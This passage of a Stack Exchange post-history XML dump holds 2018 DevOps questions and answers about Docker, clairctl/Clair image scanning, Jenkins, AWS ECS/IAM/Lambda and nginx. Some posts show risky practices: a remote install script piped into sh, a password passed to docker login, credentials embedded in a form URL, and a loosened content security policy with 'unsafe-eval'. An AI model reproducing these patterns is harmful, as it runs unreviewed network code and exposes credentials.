subdirectory of `/var/lib/docker`, by default), they just don't have a tag pointing to them, so they can be cleaned away somewhat more aggressively by `docker image prune -a`, for example. But technically they are just the same as tagged images.&#xD;&#xA;&#xD;&#xA;All options which talk about caches in the docker documentation (i.e., `build --rm=false`, `build --squash`etc.) just modify the behaviour so that said image handling a bit different, but under the hood there's just images, nothing special related to caching." ContentLicense="CC BY-SA 4.0" />
  <row Id="15857" PostHistoryTypeId="5" PostId="5018" RevisionGUID="6a7cbadc-2ece-42de-9f20-cc5cb5abad2b" CreationDate="2018-09-21T05:06:31.507" UserId="9891" Comment="Formatting" Text="I am trying to setup clairctl to scan our application images and so wanted to install the full stack of clairctl, clair scanner &amp; postgress database. I did the following steps:&#xD;&#xA;&#xD;&#xA;1.	Acquired a VM running CentOS 7, 2 vCPU and 8 GB RAM.&#xD;&#xA;2.	Installed docker-compose as described here: https:// www.linuxhelp.com/how-to-install-docker-compose-on-centos-7.&#xD;&#xA;3.	Installed GO as described here: https:// linuxize.com/post/how-to-install-go-on-centos-7.&#xD;&#xA;4.	Downloaded and installed clairctl by referring to this page: https:// github.com/jgsqware/clairctl. In this step I faced some problems and tried to work around them as described below.&#xD;&#xA;&#xD;&#xA;i) Downloaded the binary release of clairctl by running “curl -L https:// raw.githubusercontent.com/jgsqware/clairctl/master/install.sh | sh”&#xD;&#xA;&#xD;&#xA;ii) Executed the command “git clone git@github.com:jgsqware/clairctl.git $GOPATH/src/github.com/jgsqware/clairctl” which failed with error message&#xD;&#xA;&#xD;&#xA;    [root@clair-server ~]# git clone git@github.com:jgsqware/clairctl.git $GOPATH/src/github.com/jgsqware/clairctl&#xD;&#xA;    Cloning into '/src/github.com/jgsqware/clairctl'...&#xD;&#xA;    The authenticity of host 'github.com (192.30.253.113)' can't be established.&#xD;&#xA;    RSA key fingerprint is SHA256:nThbg6kXUpJWGl7E1IGOCspRomTxdCARLviKw6E5SY8.&#xD;&#xA;    RSA key fingerprint is MD5:16:27:ac:a5:76:28:2d:36:63:1b:56:4d:eb:df:a6:48.&#xD;&#xA;    Are you sure you want to continue connecting (yes/no)? yes&#xD;&#xA;    Warning: Permanently added 'github.com,192.30.253.113' (RSA) to the list of known hosts.&#xD;&#xA;    Permission denied (publickey).&#xD;&#xA;    fatal: Could not read from remote repository.&#xD;&#xA;    Please make sure you have the correct access rights and the repository exists.&#xD;&#xA;    [root@clair-server ~]#&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;So did the following to workaround the problem. If this is a generic issue which could affect many, you may want to update the project’s README.md with the workaround so that it helps other users of clairctl.&#xD;&#xA;&#xD;&#xA;    git clone git clone https:// github.com/jgsqware/clairctl.git&#xD;&#xA;    export GOPATH=$PATH:~/go&#xD;&#xA;    mkdir -p $GOPATH/src/github.com/jgsqware/clairctl&#xD;&#xA;    mv clairctl $GOPATH/src/github.com/jgsqware/&#xD;&#xA;&#xD;&#xA;iii) Then executed the commands below which passed:&#xD;&#xA;&#xD;&#xA;    cd $GOPATH/src/github.com/jgsqware/clairctl&#xD;&#xA;    docker-compose up -d postgres&#xD;&#xA;&#xD;&#xA;iv) Then executed the command “docker-compose exec clairctl clairctl health” which failed with error. I Googled about this error, examined the file docker-compose.yml. Based on it, I executed “docker-compose up -d clairctl” which is not mentioned. This is when images for clair and clairctl were downloaded and started. Then I ran “docker-compose exec clairctl clairctl health” which was successful. You may want to add the missing command: “docker-compose up -d postgres” to the documentation so that it helps other users of clairctl.&#xD;&#xA;&#xD;&#xA;5. The current situation is given below. Is there some way for the second command (without docker-compose) to work? Could you please help me here?&#xD;&#xA;&#xD;&#xA;&lt;!-- code --&gt;&#xD;&#xA;&#xD;&#xA;    [root@clair-server clairctl]# docker-compose exec clairctl clairctl health&#xD;&#xA;    Clair: ✔&#xD;&#xA;    [root@clair-server clairctl]# clairctl health --log-level debug&#xD;&#xA;    2018-09-19 09:45:27.038127 D | config: No config file used&#xD;&#xA;    2018-09-19 09:45:27.038608 D | clair: requesting health on: http:// localhost:6061/health&#xD;&#xA;    2018-09-19 09:45:27.040779 E | clair: requesting Clair health: Get http:// localhost:6061/health: dial tcp [::1]:6061: getsockopt: connection refused&#xD;&#xA;    &#xD;&#xA;    Clair: ✘&#xD;&#xA;    [root@clair-server clairctl]#&#xD;&#xA;&#xD;&#xA;6.	I want to scan our application container and so did “docker login” and then analyze, but face problem seen below:&#xD;&#xA;&#xD;&#xA;&lt;!-- code --&gt;&#xD;&#xA;&#xD;&#xA;    [root@clair-server clairctl]# docker login -u username -p the-password&#xD;&#xA;    [root@clair-server clairctl]# docker-compose exec clairctl clairctl analyze my-org/my-container:186 --log-level debug&#xD;&#xA;    2018-09-19 13:49:10.858615 D | config: Using config file: /home/clairctl/clairctl.yml&#xD;&#xA;    2018-09-19 13:49:10.859175 D | dockerdist: Downloading manifest for my-org/my-container:186&#xD;&#xA;    2018-09-19 13:49:10.859395 D | dockerdist: Retrieving repository client&#xD;&#xA;    2018-09-19 13:49:11.240796 D | dockerdist: endpoint.TLSConfig.InsecureSkipVerify: true&#xD;&#xA;    client quit unexpectedly&#xD;&#xA;    2018-09-19 13:49:15.415043 C | cmd: retrieving manifest for &quot;my-org/my-container:186&quot;: errors:&#xD;&#xA;    denied: requested access to the resource is denied&#xD;&#xA;    unauthorized: authentication required&#xD;&#xA;    [root@clair-server clairctl]#&#xD;&#xA;    &#xD;&#xA;    [root@clair-server clairctl]#clairctl analyze my-org/my-container:186 --log-level debug&#xD;&#xA;    2018-09-19 09:51:33.513208 D | config: No config file used&#xD;&#xA;    2018-09-19 09:51:33.513675 D | dockerdist: Downloading manifest for my-org/my-container:186&#xD;&#xA;    2018-09-19 09:51:33.514031 D | dockerdist: Retrieving repository client&#xD;&#xA;    2018-09-19 09:51:37.131535 D | dockerdist: endpoint.TLSConfig.InsecureSkipVerify: true&#xD;&#xA;    2018-09-19 09:51:41.656177 D | dockerdist: manifest type: *schema2.DeserializedManifest&#xD;&#xA;    2018-09-19 09:51:41.656235 D | dockerdist: retrieved schema2 manifest, no verification&#xD;&#xA;    2018-09-19 09:51:41.656286 I | config: retrieving interface for local IP&#xD;&#xA;    2018-09-19 09:51:41.656301 D | config: no interface provided, looking for docker0&#xD;&#xA;    2018-09-19 09:51:41.656830 I | clair: Pushing Layer 1/7 [sha256:605ce]&#xD;&#xA;    2018-09-19 09:51:41.656982 D | clair: Saving sha256:605ce1bd3f3164f2949a30501cc596f52a72de05da1306ab360055f0d7130c32[https:// registry-1.docker.io/v2]&#xD;&#xA;    2018-09-19 09:51:41.657113 D | clair: auth.insecureSkipVerify: true&#xD;&#xA;    2018-09-19 09:51:41.657150 D | clair: request.URL.String(): https:// registry-1.docker.io/v2/my-org/my-container/blobs/sha256:605ce1bd3f3164f2949a30501cc596f52a72de05da1306ab360055f0d7130c32&#xD;&#xA;    2018-09-19 09:51:42.809395 I | clair: pull from clair is unauthorized&#xD;&#xA;    2018-09-19 09:51:43.941475 I | clair: adding layer 1/7 [sha256:605ce]: pushing layer to clair: Post http:// localhost:6060/v1/layers: dial tcp [::1]:6060: getsockopt: connection refused&#xD;&#xA;    client quit unexpectedly&#xD;&#xA;    2018-09-19 09:51:43.941545 C | cmd: pushing image &quot;my-org/my-container:186&quot;: pushing layer to clair: Post http:// localhost:6060/v1/layers: dial tcp [::1]:6060: getsockopt: connection refused&#xD;&#xA;    [root@clair-server clairctl]#&#xD;&#xA;&#xD;&#xA;I want to eventually use the CLI to integrate clairctl with Jenkins to implement a quality/security gate. Is there some way for the scans to proceed (ideally without docker-compose) to work? Could you please help me here? I tried to Google around and read threads about how to overcome this barrier, but could not figure out a way. I thought of posting the question in clairctl/Lobby on Gitter, but thought I couldn't express myself in detail.&#xD;&#xA;&#xD;&#xA;Any guidance, help would be highly appreciated. Could you please help me?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="15858" PostHistoryTypeId="24" PostId="5018" RevisionGUID="6a7cbadc-2ece-42de-9f20-cc5cb5abad2b" CreationDate="2018-09-21T05:06:31.507" Comment="Proposed by 9891 approved by 40, 9890 edit id of 787" ContentLicense="CC BY-SA 4.0" />
  <row Id="15859" PostHistoryTypeId="5" PostId="4963" RevisionGUID="5e4388c9-d891-45cd-9186-2007135f92c5" CreationDate="2018-09-21T07:20:20.007" UserId="5605" Comment="added 459 characters in body" Text="I have recently installed the Jenkins on Windows 10 Machine (Jenkins as Service) and configured one Maven Project (Selenium project which open chrome browser and executes some testcase). If i build the same, all my testcase gets execute in Chrome headless mode instead of opening actual browser.&#xD;&#xA;&#xD;&#xA;I've tried below solution :&#xD;&#xA;&#xD;&#xA;1. Checking jenkins service option to **`Allow service to interact with desktop`**&#xD;&#xA;&#xD;&#xA; [![enter image description here][1]][1]&#xD;&#xA;&#xD;&#xA;2. Setting **`NoInteractiveServices`** flag to `0` in Registry &#xD;&#xA;&#xD;&#xA; [![enter image description here][2]][2]&#xD;&#xA;&#xD;&#xA;But nothing seem to work.&#xD;&#xA;&#xD;&#xA;while i use Jenkins by executing Jenkins.war file it runs the testcase as expected (non-headless) but not Jenkins as Service.&#xD;&#xA;&#xD;&#xA;Any idea why this is happening ?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/O8bQ1.png&#xD;&#xA;  [2]: https://i.stack.imgur.com/FTHbD.png" ContentLicense="CC BY-SA 4.0" />
  <row Id="15860" PostHistoryTypeId="4" PostId="4963" RevisionGUID="5e4388c9-d891-45cd-9186-2007135f92c5" CreationDate="2018-09-21T07:20:20.007" UserId="5605" Comment="added 459 characters in body" Text="Jenkins executes Selenium test in headless mode while use `Jenkins as Service`" ContentLicense="CC BY-SA 4.0" />
  <row Id="15861" PostHistoryTypeId="6" PostId="4963" RevisionGUID="5e4388c9-d891-45cd-9186-2007135f92c5" CreationDate="2018-09-21T07:20:20.007" UserId="5605" Comment="added 459 characters in body" Text="&lt;jenkins&gt;&lt;continuous-integration&gt;&lt;maven&gt;&lt;java&gt;&lt;selenium&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="15866" PostHistoryTypeId="2" PostId="5029" RevisionGUID="0bb868ff-8f27-4693-9a81-167a9398464a" CreationDate="2018-09-21T15:33:01.163" UserId="7825" Text="I am trying to create a so-called proxy page which will accept user parameters in Jenkins and then pass them to url for running pipeline with specified parameters. &#xD;&#xA;&#xD;&#xA;I am trying to achieve it with the help of userContent Jenkins feature: &#xD;&#xA;&#xD;&#xA;    &lt;font face=&quot;verdana&quot; size=&quot;2px&quot;&gt;&#xD;&#xA;       &lt;form action=&quot;http://user:token@jenkinshost:port/job/dev/job/dev-pipeline/buildWithParameters?n1&quot; method=&quot;post&quot;&gt;&#xD;&#xA;           Number1:&lt;input type=&quot;text&quot; id=&quot;n1&quot; name=&quot;n1&quot;&gt;&lt;br&gt;&#xD;&#xA;           &lt;input type=&quot;submit&quot; value=&quot;Submit&quot;&gt;&#xD;&#xA;      &lt;/form&gt;&#xD;&#xA;    &lt;/font&gt;&#xD;&#xA;&#xD;&#xA;But nothing works. &#xD;&#xA;&#xD;&#xA;I was even trying to set up the next policy through Jenkins console: &#xD;&#xA;&#xD;&#xA;    System.setProperty(&quot;hudson.model.DirectoryBrowserSupport.CSP&quot;, &quot;sandbox allow-same-origin allow-scripts; default-src 'self'; script-src * 'unsafe-eval'; img-src *; style-src * 'unsafe-inline'; font-src *&quot;);&#xD;&#xA;&#xD;&#xA;It also didn't work. &#xD;&#xA;&#xD;&#xA;Am I doing something wrong by missing something? &#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="15867" PostHistoryTypeId="1" PostId="5029" RevisionGUID="0bb868ff-8f27-4693-9a81-167a9398464a" CreationDate="2018-09-21T15:33:01.163" UserId="7825" Text="Pass parameters to jenkins job with the help of userContent" ContentLicense="CC BY-SA 4.0" />
  <row Id="15868" PostHistoryTypeId="3" PostId="5029" RevisionGUID="0bb868ff-8f27-4693-9a81-167a9398464a" CreationDate="2018-09-21T15:33:01.163" UserId="7825" Text="&lt;jenkins&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="15869" PostHistoryTypeId="2" PostId="5030" RevisionGUID="917ad542-cf4f-485a-83ee-f42e4e4fd553" CreationDate="2018-09-21T17:46:11.490" UserId="6393" Text="I know this isn't possible through the AWS portal, but we have a scenario where we would like to restart a container that may have died, which isn't `essential`.&#xD;&#xA;&#xD;&#xA;The scenario is along the lines of having a task with half a dozen or so containers, one of which is a container who's only responsibility is to report metrics for the rest of the task. Sometimes this container crashes due to memory allocation errors or something else.&#xD;&#xA;&#xD;&#xA;The only options we have right now in this scenario are:&#xD;&#xA;&#xD;&#xA;- Mark the metrics container as `essential` so that it will force the entire task (including itself) to restart if it crashes&#xD;&#xA;- Mark the metrics container as not `essential`, resulting in it remaining down indefinitely if it crashes, until the task is at some time restarted.&#xD;&#xA;&#xD;&#xA;Is there a way that I can start the container back up from the local host so that it will come up _and_ reattach itself to the `ecs_agent` container (so that AWS can continue monitoring it)?" ContentLicense="CC BY-SA 4.0" />
  <row Id="15870" PostHistoryTypeId="1" PostId="5030" RevisionGUID="917ad542-cf4f-485a-83ee-f42e4e4fd553" CreationDate="2018-09-21T17:46:11.490" UserId="6393" Text="Can I restart a container within an ECS task group without restarting the entire task?" ContentLicense="CC BY-SA 4.0" />
  <row Id="15871" PostHistoryTypeId="3" PostId="5030" RevisionGUID="917ad542-cf4f-485a-83ee-f42e4e4fd553" CreationDate="2018-09-21T17:46:11.490" UserId="6393" Text="&lt;amazon-web-services&gt;&lt;amazon-ecs&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="15872" PostHistoryTypeId="50" PostId="4157" RevisionGUID="b32788fd-4409-4d15-9231-e15605b9b844" CreationDate="2018-09-21T18:01:17.840" UserId="-1" />
  <row Id="15876" PostHistoryTypeId="2" PostId="5032" RevisionGUID="f1259110-9958-43c0-bb52-74cf1d270d55" CreationDate="2018-09-22T01:40:20.067" UserId="9560" Text="Yes, this can be done by Service Discovery. The product family you're looking for is of products such as [Consul][1]. You should have the container services report their identities and versions when they load. Report their version and ip (for example), and have the tests run against these values.&#xD;&#xA;&#xD;&#xA;This will require some effort with installations and scripting, and has a learning curve - but this is the way to go. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.consul.io/" ContentLicense="CC BY-SA 4.0" />
  <row Id="15880" PostHistoryTypeId="50" PostId="3421" RevisionGUID="eafe4949-9e90-421c-b761-5ee2f25ba315" CreationDate="2018-09-22T07:00:39.787" UserId="-1" />
  <row Id="15881" PostHistoryTypeId="50" PostId="4795" RevisionGUID="09eac138-24bd-424b-b5a2-f2958359f2a8" CreationDate="2018-09-22T08:01:04.697" UserId="-1" />
  <row Id="15883" PostHistoryTypeId="2" PostId="5034" RevisionGUID="aec0cd3b-574e-4c9e-881e-d543d00ab172" CreationDate="2018-09-22T12:23:09.430" UserId="7825" Text="Looks like I read documentation not attentively.  &#xD;&#xA;&#xD;&#xA;**userContent** supports only static content but not dynamic. &#xD;&#xA;&#xD;&#xA;Thus, PHP/JS or something similar can not be used there: https://wiki.jenkins.io/display/JENKINS/User+Content" ContentLicense="CC BY-SA 4.0" />
  <row Id="15884" PostHistoryTypeId="2" PostId="5035" RevisionGUID="a483d5c4-d6cc-49dc-94be-48f85b118d56" CreationDate="2018-09-22T12:37:13.767" UserId="9952" Text="If I want to execute any docker file from https://hub.docker.com/r/library/mongo/tags/ on my raspberry Pi 3B with raspbian stretch installed I always get the same error namely something like : &#xD;&#xA;&#xD;&#xA;    Pulling mongodb (mongo:)...&#xD;&#xA;    latest: Pulling from library/mongo&#xD;&#xA;    ERROR: no matching manifest for unknown in the manifest list entries&#xD;&#xA;&#xD;&#xA;How can I resolve this error and what causes it? If you need any more details please let me know I'm pretty new to docker so I don't really know what's relevant. " ContentLicense="CC BY-SA 4.0" />
  <row Id="15885" PostHistoryTypeId="1" PostId="5035" RevisionGUID="a483d5c4-d6cc-49dc-94be-48f85b118d56" CreationDate="2018-09-22T12:37:13.767" UserId="9952" Text="Can't install MongoDB docker on raspberry" ContentLicense="CC BY-SA 4.0" />
  <row Id="15886" PostHistoryTypeId="3" PostId="5035" RevisionGUID="a483d5c4-d6cc-49dc-94be-48f85b118d56" CreationDate="2018-09-22T12:37:13.767" UserId="9952" Text="&lt;docker&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="15888" PostHistoryTypeId="50" PostId="4800" RevisionGUID="b0000da0-60f6-40de-912d-583af912f104" CreationDate="2018-09-22T14:01:16.107" UserId="-1" />
  <row Id="15889" PostHistoryTypeId="50" PostId="3715" RevisionGUID="b2165806-286e-4e0d-ba24-cf80b95be337" CreationDate="2018-09-22T15:01:49.540" UserId="-1" />
  <row Id="15891" PostHistoryTypeId="33" PostId="5024" RevisionGUID="1d5e4cbb-aa17-45f5-9ac0-6d1024509c98" CreationDate="2018-09-22T17:32:36.497" UserId="9910" Comment="26" />
  <row Id="15892" PostHistoryTypeId="50" PostId="3722" RevisionGUID="746ecdd8-76d7-4fc9-88be-0e9af725ac40" CreationDate="2018-09-22T19:01:34.323" UserId="-1" />
  <row Id="15893" PostHistoryTypeId="50" PostId="4586" RevisionGUID="f653e451-6148-4d74-9dfc-838d8f5c0b02" CreationDate="2018-09-23T01:01:00.210" UserId="-1" />
  <row Id="15894" PostHistoryTypeId="50" PostId="1193" RevisionGUID="fca77f3c-9704-41f9-bd01-a1a972c5f57f" CreationDate="2018-09-23T03:01:04.467" UserId="-1" />
  <row Id="15898" PostHistoryTypeId="2" PostId="5037" RevisionGUID="78fef324-49d5-4c53-b859-50c8eb7bc57a" CreationDate="2018-09-23T14:58:31.523" UserId="786" Text="What is the idiomatic way to tell Inspec to run test X on OS version A and test Y on OS version B? I'm aware of the technique of dumping the Chef `node` object to a JSON file in `/tmp` but that isn't doing it for me as _that_ runs within the Test Kitchen VM whereas Inspec executes on the real host and therefore can't see it." ContentLicense="CC BY-SA 4.0" />
  <row Id="15899" PostHistoryTypeId="1" PostId="5037" RevisionGUID="78fef324-49d5-4c53-b859-50c8eb7bc57a" CreationDate="2018-09-23T14:58:31.523" UserId="786" Text="Inspec tests conditional on OS version" ContentLicense="CC BY-SA 4.0" />
  <row Id="15900" PostHistoryTypeId="3" PostId="5037" RevisionGUID="78fef324-49d5-4c53-b859-50c8eb7bc57a" CreationDate="2018-09-23T14:58:31.523" UserId="786" Text="&lt;chef&gt;&lt;virtualbox&gt;&lt;inspec&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="15901" PostHistoryTypeId="50" PostId="4830" RevisionGUID="2e32f215-c8d1-4a63-82c9-4ffae915ed8a" CreationDate="2018-09-23T18:00:21.620" UserId="-1" />
  <row Id="15902" PostHistoryTypeId="50" PostId="3730" RevisionGUID="be4f394f-98c5-4779-9719-ce0a38f14355" CreationDate="2018-09-23T20:01:18.163" UserId="-1" />
  <row Id="15903" PostHistoryTypeId="2" PostId="5038" RevisionGUID="c66116de-0b2a-493a-8cc3-da831a4c8aaa" CreationDate="2018-09-23T23:12:07.083" UserId="-1" Text="" ContentLicense="CC BY-SA 4.0" />
  <row Id="15904" PostHistoryTypeId="1" PostId="5038" RevisionGUID="c66116de-0b2a-493a-8cc3-da831a4c8aaa" CreationDate="2018-09-23T23:12:07.083" UserId="-1" ContentLicense="CC BY-SA 4.0" />
  <row Id="15905" PostHistoryTypeId="2" PostId="5039" RevisionGUID="d42ee15e-3efd-4a9e-ac24-fcfe01125660" CreationDate="2018-09-23T23:12:07.083" UserId="-1" Text="" ContentLicense="CC BY-SA 4.0" />
  <row Id="15906" PostHistoryTypeId="1" PostId="5039" RevisionGUID="d42ee15e-3efd-4a9e-ac24-fcfe01125660" CreationDate="2018-09-23T23:12:07.083" UserId="-1" ContentLicense="CC BY-SA 4.0" />
  <row Id="15907" PostHistoryTypeId="2" PostId="5040" RevisionGUID="f0c0bf70-2694-43f7-9222-333fedb91c89" CreationDate="2018-09-23T23:13:33.060" UserId="9961" Text="I installed WinNMP with the typical install.&#xD;&#xA;and added two files that I am using to check the installation(among others)&#xD;&#xA;&#xD;&#xA;C:\Proj\MyRG\public_html\test.htm&#xD;&#xA;C:\Proj\MyRG\public_html\application\index.htm&#xD;&#xA;&#xD;&#xA;c:\winnmp\conf\nginx.conf file contains:&#xD;&#xA;	root &quot;C:/Proj/MyRG/public_html/application&quot;&#xD;&#xA;&#xD;&#xA;C:\Windows\System32\drivers\etc\host file contains both these lines after the install:&#xD;&#xA;	127.0.0.1 localhost&#xD;&#xA;	127.0.0.1 ProjWinNMPTest.test #WinNMP ProjWinNMPTest.test #WinNMP public_html.test&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Regardless of how I set WinNMP Manager--&gt;Options(button)--&gt;Projects Dir&#xD;&#xA;when I read the test files from a browser &#xD;&#xA;&#xD;&#xA;http://127.0.0.1/public_html/test.htm &#xD;&#xA;	correctly reads the simple htlm file.&#xD;&#xA;&#xD;&#xA;http://127.0.0.1/public_html/application/index.html &#xD;&#xA;	returns &quot;directory access is forbidden&#xD;&#xA;&#xD;&#xA;'http://127.0.0.1/public_html/index.html &#xD;&#xA;	returns &quot;404 file not found&quot;&#xD;&#xA;&#xD;&#xA;1) How can I set the root file for 127.0.0.1 to point to &#xD;&#xA;	C:/Proj/MyRG/public_html/application&#xD;&#xA;		instead of &#xD;&#xA;	C:/Proj/MyRG/public_html&#xD;&#xA;&#xD;&#xA;2) How can I get permission to access the directory." ContentLicense="CC BY-SA 4.0" />
  <row Id="15908" PostHistoryTypeId="1" PostId="5040" RevisionGUID="f0c0bf70-2694-43f7-9222-333fedb91c89" CreationDate="2018-09-23T23:13:33.060" UserId="9961" Text="WinNMP (Nginx) returning &quot;Directory access is forbidden.&quot;" ContentLicense="CC BY-SA 4.0" />
  <row Id="15909" PostHistoryTypeId="3" PostId="5040" RevisionGUID="f0c0bf70-2694-43f7-9222-333fedb91c89" CreationDate="2018-09-23T23:13:33.060" UserId="9961" Text="&lt;nginx&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="15910" PostHistoryTypeId="2" PostId="5041" RevisionGUID="0cbc9b48-7d43-44da-9bb1-d1ea52bff321" CreationDate="2018-09-24T01:46:38.543" UserId="9977" Text="Have a look at [https://github.com/Senetas/crypto-cli][1] &#xD;&#xA;&#xD;&#xA;It allows you to encrypt/decrypt containers when pushing and pulling from a public or private repo.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;(Full disclosure I know the guy who wrote it)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/Senetas/crypto-cli" ContentLicense="CC BY-SA 4.0" />
  <row Id="15911" PostHistoryTypeId="5" PostId="491" RevisionGUID="afbdbbb4-605b-45c5-9386-2f62cefc574c" CreationDate="2018-09-24T01:57:34.883" UserId="446" Comment="added 6 characters in body" Text="I think the easiest way is to change their performance goals so they are based off reliability as well as delivering code. Sell it as the company cannot succeed without both so why should the developers only be measured on one? The best way for them then to meet their performance goals is to be involved in operations.&#xD;&#xA;&#xD;&#xA;Ultimately you need to convince them this is the best way for the company to succeed and therefore for them to succeed. That's hard and you can't expect them to be onboard from the start. They need to be sold on the value too." ContentLicense="CC BY-SA 4.0" />
  <row Id="15912" PostHistoryTypeId="2" PostId="5042" RevisionGUID="327d89ef-8b28-481d-ace1-6681954f71cb" CreationDate="2018-09-24T03:27:52.527" UserId="9850" Text="With the AWS CLI you can assume a role using the `--profile` parameter:&#xD;&#xA;&#xD;&#xA;    aws --profile &lt;profile_name&gt; &lt;service&gt; &lt;command&gt;&#xD;&#xA;&#xD;&#xA;e.g.:&#xD;&#xA;&#xD;&#xA;    aws --profile admin s3 ls s3://mybucket/&#xD;&#xA;&#xD;&#xA;That profile can be an AWS role that os to be assumed. My problem with that is that the session of the role is only valid for one hour by default. Is there a way of explicitly setting the session duration without using the `sts` service directly?" ContentLicense="CC BY-SA 4.0" />
  <row Id="15913" PostHistoryTypeId="1" PostId="5042" RevisionGUID="327d89ef-8b28-481d-ace1-6681954f71cb" CreationDate="2018-09-24T03:27:52.527" UserId="9850" Text="AWS CLI --profile with duration &gt; 1h" ContentLicense="CC BY-SA 4.0" />
  <row Id="15914" PostHistoryTypeId="3" PostId="5042" RevisionGUID="327d89ef-8b28-481d-ace1-6681954f71cb" CreationDate="2018-09-24T03:27:52.527" UserId="9850" Text="&lt;amazon-web-services&gt;&lt;aws-cli&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="15915" PostHistoryTypeId="2" PostId="5043" RevisionGUID="039ced18-05ec-4a45-b7b7-2d1fa873878d" CreationDate="2018-09-24T04:20:14.553" UserId="8800" Text="You can set a maximum duration of up to 12 hours in the IAM Role config:&#xD;&#xA;&#xD;&#xA;[![enter image description here][1]][1]&#xD;&#xA;&#xD;&#xA;Hope that helps.&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/d9qAj.png" ContentLicense="CC BY-SA 4.0" />
  <row Id="15916" PostHistoryTypeId="2" PostId="5044" RevisionGUID="b5585c68-ff8b-4071-8e19-d1179aac6251" CreationDate="2018-09-24T06:08:14.910" UserId="8800" Text="Provided the *Public Subnet* where you're launching your Lambda is configured with **Auto-assign public IPv4 address: Yes** it should work in public a subnet without NAT.&#xD;&#xA;&#xD;&#xA;Whether or not it's a good idea is another question. In general you shouldn't launch any backend services in the public subnets, the public subnets are for things like API Gateways, NAT Gateways, Load Balancers, etc. Not for launching the actual backend systems. That's the best security practice. &#xD;&#xA;&#xD;&#xA;However that aside I'm pretty confident that with *auto-assign IPv4 address* enabled Lambdas will work even in the public subnet.&#xD;&#xA;&#xD;&#xA;Unless you want the Lambda to connect to any VPC-internal resources (e.g. to your RDS) you may just as well launch it without VPC config (leave those VPC and Subnet settings empty). That will give it access to the internet without having to worry about NAT or public IPs.&#xD;&#xA;&#xD;&#xA;Hope that helps" ContentLicense="CC BY-SA 4.0" />
  <row Id="15919" PostHistoryTypeId="5" PostId="5040" RevisionGUID="0962f26d-983c-4b7b-b37c-c9831e4b9da7" CreationDate="2018-09-24T07:43:41.733" UserId="6375" Comment="Format content" Text="I installed WinNMP with the typical install.&#xD;&#xA;and added two files that I am using to check the installation(among others)&#xD;&#xA;&#xD;&#xA;    C:\Proj\MyRG\public_html\test.htm&#xD;&#xA;    C:\Proj\MyRG\public_html\application\index.htm&#xD;&#xA;    c:\winnmp\conf\nginx.conf file contains:&#xD;&#xA;    	root &quot;C:/Proj/MyRG/public_html/application&quot;&#xD;&#xA;    C:\Windows\System32\drivers\etc\host file contains both these lines after the install:&#xD;&#xA;    	127.0.0.1 localhost&#xD;&#xA;    	127.0.0.1 ProjWinNMPTest.test #WinNMP ProjWinNMPTest.test #WinNMP public_html.test&#xD;&#xA;&#xD;&#xA;Regardless of how I set WinNMP Manager--&gt;Options(button)--&gt;Projects Dir&#xD;&#xA;when I read the test files from a browser &#xD;&#xA;&#xD;&#xA;    http://127.0.0.1/public_html/test.htm &#xD;&#xA;    	correctly reads the simple htlm file.&#xD;&#xA;    http://127.0.0.1/public_html/application/index.html &#xD;&#xA;    	returns &quot;directory access is forbidden&#xD;&#xA;    'http://127.0.0.1/public_html/index.html &#xD;&#xA;    	returns &quot;404 file not found&quot;&#xD;&#xA;&#xD;&#xA;1) How can I set the root file for 127.0.0.1 to point to `C:/Proj/MyRG/public_html/application` instead of `C:/Proj/MyRG/public_html` ?&#xD;&#xA;&#xD;&#xA;2) How can I get permission to access the directory ?" ContentLicense="CC BY-SA 4.0" />
  <row Id="15920" PostHistoryTypeId="24" PostId="5040" RevisionGUID="0962f26d-983c-4b7b-b37c-c9831e4b9da7" CreationDate="2018-09-24T07:43:41.733" Comment="Proposed by 6375 approved by 40, 13 edit id of 790" ContentLicense="CC BY-SA 4.0" />
  <row Id="15924" PostHistoryTypeId="5" PostId="5037" RevisionGUID="7618c7f7-0eee-4ab3-80bb-3523ac3cb3c0" CreationDate="2018-09-24T08:16:11.457" UserId="786" Comment="added 87 characters in body" Text="What is the idiomatic way to tell Inspec to run test X on OS version A and test Y on OS version B? I'm aware of [the technique](http://www.hurryupandwait.io/blog/accessing-chef-node-attributes-from-kitchen-tests) of dumping the Chef `node` object to a JSON file in `/tmp` but that isn't doing it for me as _that_ runs within the Test Kitchen VM whereas [Inspec executes on the real host](https://www.inspec.io/docs/reference/ruby_usage/) and therefore can't see it." ContentLicense="CC BY-SA 4.0" />
  <row Id="15928" PostHistoryTypeId="50" PostId="4811" RevisionGUID="fac240b3-0149-420a-97f1-5c8d84aa13d0" CreationDate="2018-09-24T11:00:42.850" UserId="-1" />
  <row Id="15932" PostHistoryTypeId="50" PostId="3089" RevisionGUID="adb6f7a7-7eeb-4918-97b0-c492d71fd44b" CreationDate="2018-09-24T12:00:23.433" UserId="-1" />
